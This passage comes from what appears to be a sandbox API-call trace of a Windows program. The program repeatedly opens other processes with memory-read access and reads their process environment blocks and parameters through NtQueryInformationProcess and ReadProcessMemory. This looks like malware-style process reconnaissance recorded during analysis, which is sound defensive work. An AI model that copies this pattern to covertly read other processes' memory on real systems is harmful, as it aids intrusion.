lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.423] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x300 [0246.440] GetLastError () returned 0x0 [0246.441] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.441] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x24c018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.441] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.441] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d1cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.441] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d18f8, lpBuffer=0x67117c450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.442] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.444] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.444] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x24c020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.444] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.444] malloc (_Size=0x60) returned 0x196ef0d03e0 [0246.444] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.445] free (_Block=0x196ef0d03e0) [0246.445] CloseHandle (hObject=0x300) returned 1 [0246.446] _ui64tow_s (in: _Value=0xf38, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0246.451] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3896") returned 4 [0246.452] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.452] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.490] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x300 [0246.490] GetLastError () returned 0x0 [0246.490] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.490] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3a1018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.491] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.491] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b1d20, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.491] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b18f8, lpBuffer=0x67117c450, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.492] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.493] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.493] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3a1020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.493] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.494] malloc (_Size=0x82) returned 0x196ef0d7980 [0246.494] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b1972, lpBuffer=0x196ef0d7980, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7980*, lpNumberOfBytesRead=0x0) returned 1 [0246.494] free (_Block=0x196ef0d7980) [0246.495] CloseHandle (hObject=0x300) returned 1 [0246.496] _ui64tow_s (in: _Value=0xf48, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0246.500] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3912") returned 4 [0246.502] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.502] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.518] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x300 [0246.518] GetLastError () returned 0x0 [0246.518] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.518] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2fd018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.519] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.519] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x541c80, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.519] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5418f8, lpBuffer=0x67117c450, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.520] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.521] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.521] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2fd020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.522] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5412e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.522] malloc (_Size=0x4e) returned 0x196ef100da0 [0246.522] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x54193e, lpBuffer=0x196ef100da0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100da0*, lpNumberOfBytesRead=0x0) returned 1 [0246.522] free (_Block=0x196ef100da0) [0246.523] CloseHandle (hObject=0x300) returned 1 [0246.524] _ui64tow_s (in: _Value=0xf50, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0246.540] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3920") returned 4 [0246.541] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.541] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.558] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x300 [0246.558] GetLastError () returned 0x0 [0246.559] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.559] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2ac018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.560] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.560] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x561d00, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.560] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5618f8, lpBuffer=0x67117c450, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.561] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.562] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2ac020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5612e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.563] malloc (_Size=0x7a) returned 0x196ef0d7350 [0246.563] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x56196a, lpBuffer=0x196ef0d7350, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7350*, lpNumberOfBytesRead=0x0) returned 1 [0246.564] free (_Block=0x196ef0d7350) [0246.564] CloseHandle (hObject=0x300) returned 1 [0246.565] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0246.569] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3932") returned 4 [0246.571] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.571] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x300 [0246.600] GetLastError () returned 0x0 [0246.601] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.601] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2e3018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.601] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.601] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x501c80, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.601] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5018f8, lpBuffer=0x67117c450, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.602] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.604] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.604] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x2e3020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.604] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5012e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.604] malloc (_Size=0x4e) returned 0x196ef1012e0 [0246.604] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x50193e, lpBuffer=0x196ef1012e0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1012e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.605] free (_Block=0x196ef1012e0) [0246.606] CloseHandle (hObject=0x300) returned 1 [0246.606] _ui64tow_s (in: _Value=0xf64, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0246.611] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3940") returned 4 [0246.612] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.612] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x300 [0246.641] GetLastError () returned 0x0 [0246.642] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.642] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x238018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.642] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.642] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b1ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.642] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b18f8, lpBuffer=0x67117c450, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.644] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.645] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.645] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x238020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.645] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b12e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.645] malloc (_Size=0x70) returned 0x196ef0d31b0 [0246.645] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.646] free (_Block=0x196ef0d31b0) [0246.647] CloseHandle (hObject=0x300) returned 1 [0246.647] _ui64tow_s (in: _Value=0xf74, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0246.652] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3956") returned 4 [0246.653] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.653] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.670] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x300 [0246.670] GetLastError () returned 0x0 [0246.671] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.671] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3a2018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.671] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.671] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x621cb0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.671] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x6218f8, lpBuffer=0x67117c450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.672] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.674] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.674] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x3a2020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.674] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x6212e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.674] malloc (_Size=0x60) returned 0x196ef0d0370 [0246.674] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x621950, lpBuffer=0x196ef0d0370, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0246.675] free (_Block=0x196ef0d0370) [0246.675] CloseHandle (hObject=0x300) returned 1 [0246.676] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0246.680] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3964") returned 4 [0246.681] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.681] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0246.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x300 [0246.697] GetLastError () returned 0x0 [0246.697] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0246.697] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x382018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0246.697] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.698] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x521ce0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0246.698] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5218f8, lpBuffer=0x67117c450, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0246.699] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0246.700] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0246.700] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x382020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0246.700] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x5212e0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0246.701] malloc (_Size=0x6c) returned 0x196ef0d31b0 [0246.701] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d31b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.701] free (_Block=0x196ef0d31b0) [0246.702] CloseHandle (hObject=0x300) returned 1 [0246.703] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0246.707] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3980") returned 4 [0246.708] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 